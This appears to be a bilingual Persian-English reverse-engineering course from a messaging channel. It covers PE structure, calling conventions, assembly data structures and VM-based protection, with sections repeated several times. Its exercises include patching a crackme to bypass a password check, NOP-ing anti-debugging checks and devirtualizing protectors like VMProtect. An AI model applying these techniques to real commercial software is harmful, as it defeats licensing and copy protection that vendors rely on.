تمرین: باز کردن یک باینری با PE-bear یا CFF Explorer بررسی Headers ، Sections و Import/Export Table
2 Intro to Disassembly
دیدن دستورهای اسمبلی برنامه
تمرین: باز کردن یک باینری ساده در IDA یا Ghidra شناسایی رجیسترها و دستورهای اصلی مثل mov, call, jmp
3 Static String & Function Analysis
پیدا کردن String ها و توابع مهم بدون اجرا
تمرین: پیدا کردن String های پسورد یا پیامهای برنامه و شناسایی توابع کلیدی که با اونا مرتبط هستن
4 Dynamic Analysis Introduction
اجرای برنامه و دنبال کردن جریان کد
تمرین: اجرای یک باینری ساده در x64dbg گذاشتن Breakpoint و دنبال کردن Stack و Registers
5 Basic Patch & Modify
تغییر رفتار برنامه با Patch ساده
تمرین: تغییر یک شرط if یا تغییر یک MessageBox در باینری بدون Source Code
6 Understanding Simple Anti-Debugging
آشنایی با تکنیکهای ساده Anti-Debugging
تمرین: بررسی IsDebuggerPresent یا Sleep/Timing Check و بایپس با Patch یا NOP کردن
7 First CrackMe Challenge
تمرین واقعی با یک برنامه کوچک
تمرین: گرفتن یک CrackMe ساده با پسورد هاردکد پیدا کردن تابع پسورد و تغییر باینری برای عبور از چک
1️⃣ Binary Structure Basics
Understanding binary file structures and their key sections
Exercise: Open a binary with PE-bear or CFF Explorer and examine the Headers Sections and Import/Export Tables
2️⃣ Intro to Disassembly
Viewing the program’s assembly instructions
Exercise: Open a simple binary in IDA or Ghidra and identify registers and main instructions such as mov, call, and jmp
3️⃣ Static String & Function Analysis
Finding important strings and functions without executing the binary
Exercise: Locate password strings or program messages and identify key functions related to them
4️⃣ Dynamic Analysis Introduction
Running the program and following the code flow
Exercise: Execute a simple binary in x64dbg, set breakpoints and trace the stack and registers
5️⃣ Basic Patch & Modify
Changing program behavior with simple patches
Exercise: Modify an if condition or change a MessageBox in the binary without the source code
6️⃣ Understanding Simple Anti-Debugging
Getting familiar with basic anti-debugging techniques
Exercise: Check for IsDebuggerPresent or Sleep/Timing Checks and bypass them with patches or NOP instructions
7️⃣ First CrackMe Challenge
Hands-on practice with a small program
Exercise: Take a simple CrackMe with a hardcoded password find the password-checking function and modify the binary to bypass the check
❤1
قبل از هر چیز وقتی یک باینری به دستت میرسه اولین کاری که باید بکنی درک ساختار فایل و بخشهای مهمش هست
هر باینری شامل بخشهای مختلفیه مثل Header، Sections، Import Table و Export Table Header اطلاعات پایه مثل معماری اندازه و نقاط شروع برنامه رو بهتون میده Sections مثل .text، .data و .rdata بخشهای کد و دادهها رو نگه میدارن
Import Table
لیست توابعی که برنامه از
کتابخونههای خارجی صدا زده رو نشون میده فهمیدن این بخشها اولین قدم برای تحلیل جدی هست
تمرین: یه باینری ساده Windows یا Linux بگیر
با ابزار PE-bear یا CFF Explorer (برای Windows) یا readelf برای Linux Header و Sections رو نگاه کن
Import Table
رو بررسی کن و ببین چه توابعی از کتابخونهها صدا زده شدن
Before anything else when you first get a binary the very first thing you should do is understand its structure and key sections
Every binary consists of different parts such as the Header, Sections, Import Table, and Export Table
The Header provides basic information like the architecture, size, and entry points of the program
Sections such as .text, .data, and .rdata hold the code and data.
The Import Table lists the functions that the program calls from external libraries
Understanding these sections is the first step for serious analysis
Exercise:
1 Take a simple Windows or Linux binary
2 Use tools like PE-bear or CFF
Explorer for Windows or readelf (for Linux) to examine the Header and Sections
3 Inspect the Import Table and see which functions from libraries the program calls
هر باینری شامل بخشهای مختلفیه مثل Header، Sections، Import Table و Export Table Header اطلاعات پایه مثل معماری اندازه و نقاط شروع برنامه رو بهتون میده Sections مثل .text، .data و .rdata بخشهای کد و دادهها رو نگه میدارن
Import Table
لیست توابعی که برنامه از
کتابخونههای خارجی صدا زده رو نشون میده فهمیدن این بخشها اولین قدم برای تحلیل جدی هست
تمرین: یه باینری ساده Windows یا Linux بگیر
با ابزار PE-bear یا CFF Explorer (برای Windows) یا readelf برای Linux Header و Sections رو نگاه کن
Import Table
رو بررسی کن و ببین چه توابعی از کتابخونهها صدا زده شدن
Before anything else when you first get a binary the very first thing you should do is understand its structure and key sections
Every binary consists of different parts such as the Header, Sections, Import Table, and Export Table
The Header provides basic information like the architecture, size, and entry points of the program
Sections such as .text, .data, and .rdata hold the code and data.
The Import Table lists the functions that the program calls from external libraries
Understanding these sections is the first step for serious analysis
Exercise:
1 Take a simple Windows or Linux binary
2 Use tools like PE-bear or CFF
Explorer for Windows or readelf (for Linux) to examine the Header and Sections
3 Inspect the Import Table and see which functions from libraries the program calls
❤1🔥1
📌 Calling Convention یعنی چی؟
خیلی ساده: قانونی که تعیین میکنه آرگومانهای تابع چطوری بهش داده بشن و وقتی تابع تموم شد کی مسئول پاک کردن Stack باشه
1cdecl C Declaration
رایجترین حالت توی زبان C مخصوصا روی ویندوز و لینوکس
آرگومانها از راست به چپ روی Stack Push میشن
کالِر Caller یعنی همون کسی که تابع رو صدا زده مسئول پاک کردن Stack هست
📖 مثال اسمبلی:
2 stdcall
بیشتر توی Windows API دیده میشه
آرگومانها همون راست به چپ روی Stack
این بار کالی Callee یعنی خود تابع بعد از برگشت Stack رو تمیز میکنه
📖 مثال اسمبلی:
; تابع add خودش Stack رو درست میکنه
3 fastcall
برای سرعت بعضی آرگومانها توی رجیسترها گذاشته میشن مثلا توی ویندوز ECX و EDX
بقیه آرگومانها اگه زیاد بودن میرن توی Stack
📖 مثال اسمبلی:
4 thiscall
مخصوص C++ برای توابع کلاس
اشارهگر this معمولا توی ECX پاس داده میشه
🌟 چیزی که توی دیباگر میبینید:
اگه وارد یه تابع بشید:
توی cdecl معمولا بعد از ret یه دستور add esp X میبینید یعنی Caller مسئول بوده
توی stdcall خود تابع با ret X برمیگرده یعنی خودش Stack رو پاک کرده
🔹 تمرین عملی برای شما:
یه کد سادهی C بنویسید (مثلا تابع جمع و ضرب با دو پارامتر) همون کد رو:
1 cdecl کامپایل کنید
2 stdcall
3 fastcall
بعد بریزید توی IDA یا x64dbg و تفاوت رو ببینید مخصوصاً دنبال add esp, ... یا ret ... باشید
📌 What is a Calling Convention?
In simple terms: it’s the rule that defines how function arguments are passed and who is responsible for cleaning up the stack after the function finishes
1 cdecl C Declaration
The most common calling convention in C especially on Windows and Linux
Arguments are pushed right to left onto the stack
The caller the one calling the function
is responsible for cleaning the stack
📖 Assembly Example:
2 stdcall
Mostly used in Windows API functions
Arguments are also pushed right to left
The callee the function itself cleans the stack before returning
📖 Assembly Example:
3 fastcall
For speed some arguments are passed in registers instead of the stack
On Windows: ECX and EDX are used for the first two arguments
Any additional arguments are passed on the stack
📖 Assembly Example:
4 thiscall
Specific to C++ class methods
The this pointer is usually passed in the ECX register
🌟 What you’ll see in a debugger:
In cdecl after ret, you usually see add esp, X → meaning the caller cleaned the stack
In stdcall the function returns with ret X → meaning the callee cleaned the stack
🔹 Practical Exercise for you:
1 Write a simple C program e.g., add and multiply functions with two parameters
2 Compile it three times using:
cdecl
stdcall
fastcall
3 Open the binaries in IDA or x64dbg and look for the differences
Watch for add esp ... vs ret ....
خیلی ساده: قانونی که تعیین میکنه آرگومانهای تابع چطوری بهش داده بشن و وقتی تابع تموم شد کی مسئول پاک کردن Stack باشه
1cdecl C Declaration
رایجترین حالت توی زبان C مخصوصا روی ویندوز و لینوکس
آرگومانها از راست به چپ روی Stack Push میشن
کالِر Caller یعنی همون کسی که تابع رو صدا زده مسئول پاک کردن Stack هست
📖 مثال اسمبلی:
push 3 ; arg2
push 5 ; arg1
call add
add esp, 8 ; Caller پاک میکنه
2 stdcall
بیشتر توی Windows API دیده میشه
آرگومانها همون راست به چپ روی Stack
این بار کالی Callee یعنی خود تابع بعد از برگشت Stack رو تمیز میکنه
📖 مثال اسمبلی:
push 3
push 5
call add
; تابع add خودش Stack رو درست میکنه
3 fastcall
برای سرعت بعضی آرگومانها توی رجیسترها گذاشته میشن مثلا توی ویندوز ECX و EDX
بقیه آرگومانها اگه زیاد بودن میرن توی Stack
📖 مثال اسمبلی:
mov ecx, 5 ; arg1
mov edx, 3 ; arg2
call add
4 thiscall
مخصوص C++ برای توابع کلاس
اشارهگر this معمولا توی ECX پاس داده میشه
🌟 چیزی که توی دیباگر میبینید:
اگه وارد یه تابع بشید:
توی cdecl معمولا بعد از ret یه دستور add esp X میبینید یعنی Caller مسئول بوده
توی stdcall خود تابع با ret X برمیگرده یعنی خودش Stack رو پاک کرده
🔹 تمرین عملی برای شما:
یه کد سادهی C بنویسید (مثلا تابع جمع و ضرب با دو پارامتر) همون کد رو:
1 cdecl کامپایل کنید
2 stdcall
3 fastcall
بعد بریزید توی IDA یا x64dbg و تفاوت رو ببینید مخصوصاً دنبال add esp, ... یا ret ... باشید
📌 What is a Calling Convention?
In simple terms: it’s the rule that defines how function arguments are passed and who is responsible for cleaning up the stack after the function finishes
1 cdecl C Declaration
The most common calling convention in C especially on Windows and Linux
Arguments are pushed right to left onto the stack
The caller the one calling the function
is responsible for cleaning the stack
📖 Assembly Example:
push 3 ; arg2
push 5 ; arg1
call add
add esp, 8 ; Caller cleans the stack
2 stdcall
Mostly used in Windows API functions
Arguments are also pushed right to left
The callee the function itself cleans the stack before returning
📖 Assembly Example:
push 3
push 5
call add
; The add function itself restores the stack
3 fastcall
For speed some arguments are passed in registers instead of the stack
On Windows: ECX and EDX are used for the first two arguments
Any additional arguments are passed on the stack
📖 Assembly Example:
mov ecx, 5 ; arg1
mov edx, 3 ; arg2
call add
4 thiscall
Specific to C++ class methods
The this pointer is usually passed in the ECX register
🌟 What you’ll see in a debugger:
In cdecl after ret, you usually see add esp, X → meaning the caller cleaned the stack
In stdcall the function returns with ret X → meaning the callee cleaned the stack
🔹 Practical Exercise for you:
1 Write a simple C program e.g., add and multiply functions with two parameters
2 Compile it three times using:
cdecl
stdcall
fastcall
3 Open the binaries in IDA or x64dbg and look for the differences
Watch for add esp ... vs ret ....
👏1
🎭 Code Virtualization (VM-Based Protection)
اینجا دیگه سطح دفاعی میره روی مغز سیستم! 😅
پکرهایی مثل VMProtect و Themida از این تکنیک استفاده میکنن
ایدهش اینه که:
🔹 بهجای اینکه برنامهی اصلی به زبان ماشین CPU اجرا بشه
🔹 کد به دستورالعملهای یک CPU مجازی Custom VM تبدیل میشه
یعنی چی؟
یعنی برنامه یه Interpreter تو خودش داره که دستورالعملهای عجیب و غریب خودش رو اجرا میکنه
هر دستورالعمل واقعی CPU مثل MOV, ADD, CALL تبدیل میشه به یه سری دستور خیالی مثل:
VM_INST_01
VM_INST_A3
VM_INST_FF
و فقط همون ماشین مجازی میفهمه که اینا یعنی چی
1️⃣ ساختار کار
اول Bytecode مخصوص VM ساخته میشه
بعد کد اصلی پاک یا رمزنگاری میشه
VM Interpreter
کد رو یکی یکی میخونه و معادلش رو روی CPU واقعی اجرا میکنه
2️⃣ چرا سخت میشه تحلیل کرد؟
چون شما به جای x86 واقعی با یک زبان عجیب و غریب طرفی
هر برنامه حتی هر بخش از برنامه میتونه VM خودش رو داشته باشه
دیگه دیباگرهای معمولی x64dbg، OllyDbg، IDA ساده بیفایده میشن
3️⃣ ترکیب با Anti-Debug
خیلی وقتا VMProtect فقط VM نمیاره بلکه Anti-Debug رو هم باهاش قاطی میکنه
📌 یعنی همزمان:
کد غیرقابل فهم میشه Obfuscation شدید
و دیباگرها هم نمیتونن راحت attach شن
4️⃣ روشهای Devirtualization
اینجا هم هنر مهندسی معکوس میاد وسط 😎
برای شکستن VM-Based Protection باید:
اول VM Handlerها رو پیدا کرد تابعهایی که هر دستور رو اجرا میکنن
بعد معادل دستورهای VM رو Map کرد به دستورهای واقعی CPU
در نهایت یک Decompiler اختصاصی نوشت تا دوباره کد اصلی برگرده
این دقیقا همون چیزیه که توی تحلیلگرهای بزرگ مثل IDA با پلاگینهای مخصوص یا ابزارهای شخصیسازی شده استفاده میشه
🎭 Code Virtualization (VM-Based Protection)
This is where defensive techniques go straight for the brain of the system! 😅 Packers like VMProtect and Themida use this approach
The idea is simple but brutal:
🔹 Instead of running the original program directly on the CPU
🔹 The code is transformed into instructions of a custom virtual CPU (VM)
What does that mean?
The program has an interpreter inside itself that executes strange custom instructions
So instead of normal x86 opcodes like MOV, ADD, CALL, you end up with something like:
VM_INST_01
VM_INST_A3
VM_INST_FF
…and only the built-in VM knows what those mean
1️⃣ How it works (basic structure):
1 The original code is translated into custom VM bytecode
2 The original instructions are either removed or encrypted
3 The VM interpreter reads the bytecode one by one and executes the equivalent operation on the real CPU
2️⃣ Why is it so hard to analyze?
Because you’re no longer looking at real x86 instructions—you’re dealing with an entirely made-up language
Different sections of the program may even use different VMs
Normal debuggers like x64dbg, OllyDbg, or vanilla IDA become useless
3️⃣ Often combined with Anti-Debugging
VMProtect doesn’t just virtualize code—it usually mixes in anti-debugging tricks as well
📌 So at the same time:
The code becomes unreadable heavy obfuscation
Debuggers can’t easily attach or step through
4️⃣ Devirtualization the reverse-engineer’s art 😎
To break VM-based protection, the reverse engineer has to:
1 Identify the VM handlers functions that execute each custom instruction
2 Map those VM instructions back to real CPU instructions
3 Build or noscript a custom decompiler to reconstruct the original logic
This is exactly what advanced reverse engineers do with IDA plugins or their own custom tools
اینجا دیگه سطح دفاعی میره روی مغز سیستم! 😅
پکرهایی مثل VMProtect و Themida از این تکنیک استفاده میکنن
ایدهش اینه که:
🔹 بهجای اینکه برنامهی اصلی به زبان ماشین CPU اجرا بشه
🔹 کد به دستورالعملهای یک CPU مجازی Custom VM تبدیل میشه
یعنی چی؟
یعنی برنامه یه Interpreter تو خودش داره که دستورالعملهای عجیب و غریب خودش رو اجرا میکنه
هر دستورالعمل واقعی CPU مثل MOV, ADD, CALL تبدیل میشه به یه سری دستور خیالی مثل:
VM_INST_01
VM_INST_A3
VM_INST_FF
و فقط همون ماشین مجازی میفهمه که اینا یعنی چی
1️⃣ ساختار کار
اول Bytecode مخصوص VM ساخته میشه
بعد کد اصلی پاک یا رمزنگاری میشه
VM Interpreter
کد رو یکی یکی میخونه و معادلش رو روی CPU واقعی اجرا میکنه
2️⃣ چرا سخت میشه تحلیل کرد؟
چون شما به جای x86 واقعی با یک زبان عجیب و غریب طرفی
هر برنامه حتی هر بخش از برنامه میتونه VM خودش رو داشته باشه
دیگه دیباگرهای معمولی x64dbg، OllyDbg، IDA ساده بیفایده میشن
3️⃣ ترکیب با Anti-Debug
خیلی وقتا VMProtect فقط VM نمیاره بلکه Anti-Debug رو هم باهاش قاطی میکنه
📌 یعنی همزمان:
کد غیرقابل فهم میشه Obfuscation شدید
و دیباگرها هم نمیتونن راحت attach شن
4️⃣ روشهای Devirtualization
اینجا هم هنر مهندسی معکوس میاد وسط 😎
برای شکستن VM-Based Protection باید:
اول VM Handlerها رو پیدا کرد تابعهایی که هر دستور رو اجرا میکنن
بعد معادل دستورهای VM رو Map کرد به دستورهای واقعی CPU
در نهایت یک Decompiler اختصاصی نوشت تا دوباره کد اصلی برگرده
این دقیقا همون چیزیه که توی تحلیلگرهای بزرگ مثل IDA با پلاگینهای مخصوص یا ابزارهای شخصیسازی شده استفاده میشه
🎭 Code Virtualization (VM-Based Protection)
This is where defensive techniques go straight for the brain of the system! 😅 Packers like VMProtect and Themida use this approach
The idea is simple but brutal:
🔹 Instead of running the original program directly on the CPU
🔹 The code is transformed into instructions of a custom virtual CPU (VM)
What does that mean?
The program has an interpreter inside itself that executes strange custom instructions
So instead of normal x86 opcodes like MOV, ADD, CALL, you end up with something like:
VM_INST_01
VM_INST_A3
VM_INST_FF
…and only the built-in VM knows what those mean
1️⃣ How it works (basic structure):
1 The original code is translated into custom VM bytecode
2 The original instructions are either removed or encrypted
3 The VM interpreter reads the bytecode one by one and executes the equivalent operation on the real CPU
2️⃣ Why is it so hard to analyze?
Because you’re no longer looking at real x86 instructions—you’re dealing with an entirely made-up language
Different sections of the program may even use different VMs
Normal debuggers like x64dbg, OllyDbg, or vanilla IDA become useless
3️⃣ Often combined with Anti-Debugging
VMProtect doesn’t just virtualize code—it usually mixes in anti-debugging tricks as well
📌 So at the same time:
The code becomes unreadable heavy obfuscation
Debuggers can’t easily attach or step through
4️⃣ Devirtualization the reverse-engineer’s art 😎
To break VM-based protection, the reverse engineer has to:
1 Identify the VM handlers functions that execute each custom instruction
2 Map those VM instructions back to real CPU instructions
3 Build or noscript a custom decompiler to reconstruct the original logic
This is exactly what advanced reverse engineers do with IDA plugins or their own custom tools
👏1
Data Structures
در اسمبلی
اینجاست که مهندسی معکوس تازه رنگ و بوی واقعی میگیره چون اکثر برنامهها فقط جمع و تفریق عدد نیستن با ساختار دادهها کار میکنن
📌 چرا مهمه؟
وقتی دارید به یه باینری نگاه میکنید به ندرت میبینید فقط با متغیر ساده سروکار داشته باشه معمولا یه Struct یا Array پشت قضیه هست باید بلد باشید از روی دسترسیهای حافظه حدس بزنید ساختار داده چی بوده
1 Array
توی اسمبلی فقط یه بلوک پشت سر هم از حافظهست
هر عنصر طبق اندازه نوع داده آدرسدهی میشه
📖 مثال:
اسمبلی معادل تقریبی:
یا اگر با Index:
2 Struct
Struct در اسمبلی فقط یه سری داده پشت سر همه
تفاوتش با Array اینه که هر فیلد اندازه و نوع متفاوت داره
📖 مثال:
اسمبلی معادل:
👉 اینجا ebx همون آدرس پایه Struct هست بعد با Offset میریم سراغ فیلدها
3 Nested Structures
یه Struct داخل Struct دیگه → همون ایده ولی Offset بزرگتر
4 Pointers به Struct یا Array
وقتی دیدید یه متغیر بارها مثل [eax+4] یا [eax+8] خونده میشه خیلی وقتا یعنی اون متغیر در واقع Pointer به یه Struct یا Array هست
🌟 نکته کاربردی در RE
تو IDA و ابزارهای دیگه میتونید خودتون Struct تعریف کنی و روی حافظه Map کنی اینطوری بجای [ebx+8] میبینید user.age. هم فهمش راحتتر میشه هم بعدا سریعتر تحلیل میکنید
🔹 تمرین پیشنهادی:
یه Struct ساده توی C تعریف کنید مثلا id و salary برای کارمند
یه Array از اون Struct بسازید
توی باینری ببینید چطور بهشون دسترسی پیدا میکنه
🧩 Data Structures in Assembly
This is where reverse engineering really gets interesting—because most real programs aren’t just adding and subtracting numbers They’re working with data structures
📌 Why does it matter?
When you’re looking at a binary you rarely see only simple variables Most of the time there’s an array or a struct hidden behind the memory accesses
You need to learn how to guess the original structure just by watching how memory is accessed
1️⃣ Arrays
In assembly, an array is just a continuous block of memory. Each element is accessed by offset = base + index * element_size
📖 Example in C:
int arr[5] = {1,2,3,4,5};
Assembly (rough idea):
Or with an index register:
2️⃣ Structs
A struct in assembly is just a block of memory with different fields at fixed offsets
The difference from arrays: fields can have different sizes/types
📖 Example in C:
Assembly (approximate):
👉 Here ebx is the base address of the struct, and each field is accessed by offset
3️⃣ Nested Structures
You can have a struct inside another struct
Same idea—but the offsets get larger as fields accumulate
4️⃣ Pointers to Arrays/Structs
If you see the same base register accessed multiple times with different small offsets:
mov eax, [eax+4]
mov ecx, [eax+8]
…it’s a strong hint that the variable is actually a pointer to a struct or array
🌟 Practical RE Tip
In IDA (or Ghidra), you can define your own struct types and map them onto memory
So instead of:
[ebx+8]
you’ll see something like:
user.age
This makes analysis faster and much more readable
🔹 Suggested Exercise
1Write a C struct, e.g.:
2 Create an array of employees
3 Compile it, then in IDA/x64dbg watch how the compiler generates memory accesses
در اسمبلی
اینجاست که مهندسی معکوس تازه رنگ و بوی واقعی میگیره چون اکثر برنامهها فقط جمع و تفریق عدد نیستن با ساختار دادهها کار میکنن
📌 چرا مهمه؟
وقتی دارید به یه باینری نگاه میکنید به ندرت میبینید فقط با متغیر ساده سروکار داشته باشه معمولا یه Struct یا Array پشت قضیه هست باید بلد باشید از روی دسترسیهای حافظه حدس بزنید ساختار داده چی بوده
1 Array
توی اسمبلی فقط یه بلوک پشت سر هم از حافظهست
هر عنصر طبق اندازه نوع داده آدرسدهی میشه
📖 مثال:
int arr[5] = {1,2,3,4,5};
اسمبلی معادل تقریبی:
mov eax, [ebp-10h] ; arr[0]
mov eax, [ebp-0Ch] ; arr[1]
mov eax, [ebp-08h] ; arr[2]
یا اگر با Index:
mov eax, [ebx+ecx*4] ; arr[ecx]
2 Struct
Struct در اسمبلی فقط یه سری داده پشت سر همه
تفاوتش با Array اینه که هر فیلد اندازه و نوع متفاوت داره
📖 مثال:
struct user {
int age;
char name[20];
};
اسمبلی معادل:
mov eax, [ebx] ; age
movzx ecx, byte ptr [ebx+4] ; name[0]
movzx edx, byte ptr [ebx+5] ; name[1]
👉 اینجا ebx همون آدرس پایه Struct هست بعد با Offset میریم سراغ فیلدها
3 Nested Structures
یه Struct داخل Struct دیگه → همون ایده ولی Offset بزرگتر
4 Pointers به Struct یا Array
وقتی دیدید یه متغیر بارها مثل [eax+4] یا [eax+8] خونده میشه خیلی وقتا یعنی اون متغیر در واقع Pointer به یه Struct یا Array هست
🌟 نکته کاربردی در RE
تو IDA و ابزارهای دیگه میتونید خودتون Struct تعریف کنی و روی حافظه Map کنی اینطوری بجای [ebx+8] میبینید user.age. هم فهمش راحتتر میشه هم بعدا سریعتر تحلیل میکنید
🔹 تمرین پیشنهادی:
یه Struct ساده توی C تعریف کنید مثلا id و salary برای کارمند
یه Array از اون Struct بسازید
struct employee {
int id;
int salary;
};
توی باینری ببینید چطور بهشون دسترسی پیدا میکنه
🧩 Data Structures in Assembly
This is where reverse engineering really gets interesting—because most real programs aren’t just adding and subtracting numbers They’re working with data structures
📌 Why does it matter?
When you’re looking at a binary you rarely see only simple variables Most of the time there’s an array or a struct hidden behind the memory accesses
You need to learn how to guess the original structure just by watching how memory is accessed
1️⃣ Arrays
In assembly, an array is just a continuous block of memory. Each element is accessed by offset = base + index * element_size
📖 Example in C:
int arr[5] = {1,2,3,4,5};
Assembly (rough idea):
mov eax, [ebp-10h] ; arr[0]
mov eax, [ebp-0Ch] ; arr[1]
mov eax, [ebp-08h] ; arr[2]
Or with an index register:
mov eax, [ebx+ecx*4] ; arr[ecx]
2️⃣ Structs
A struct in assembly is just a block of memory with different fields at fixed offsets
The difference from arrays: fields can have different sizes/types
📖 Example in C:
struct user {
int age;
char name[20];
};
Assembly (approximate):
mov eax, [ebx] ; user.age
movzx ecx, byte ptr [ebx+4] ; user.name[0]
movzx edx, byte ptr [ebx+5] ; user.name[1]
👉 Here ebx is the base address of the struct, and each field is accessed by offset
3️⃣ Nested Structures
You can have a struct inside another struct
Same idea—but the offsets get larger as fields accumulate
4️⃣ Pointers to Arrays/Structs
If you see the same base register accessed multiple times with different small offsets:
mov eax, [eax+4]
mov ecx, [eax+8]
…it’s a strong hint that the variable is actually a pointer to a struct or array
🌟 Practical RE Tip
In IDA (or Ghidra), you can define your own struct types and map them onto memory
So instead of:
[ebx+8]
you’ll see something like:
user.age
This makes analysis faster and much more readable
🔹 Suggested Exercise
1Write a C struct, e.g.:
struct employee {
int id;
int salary;
};
2 Create an array of employees
3 Compile it, then in IDA/x64dbg watch how the compiler generates memory accesses
❤1👏1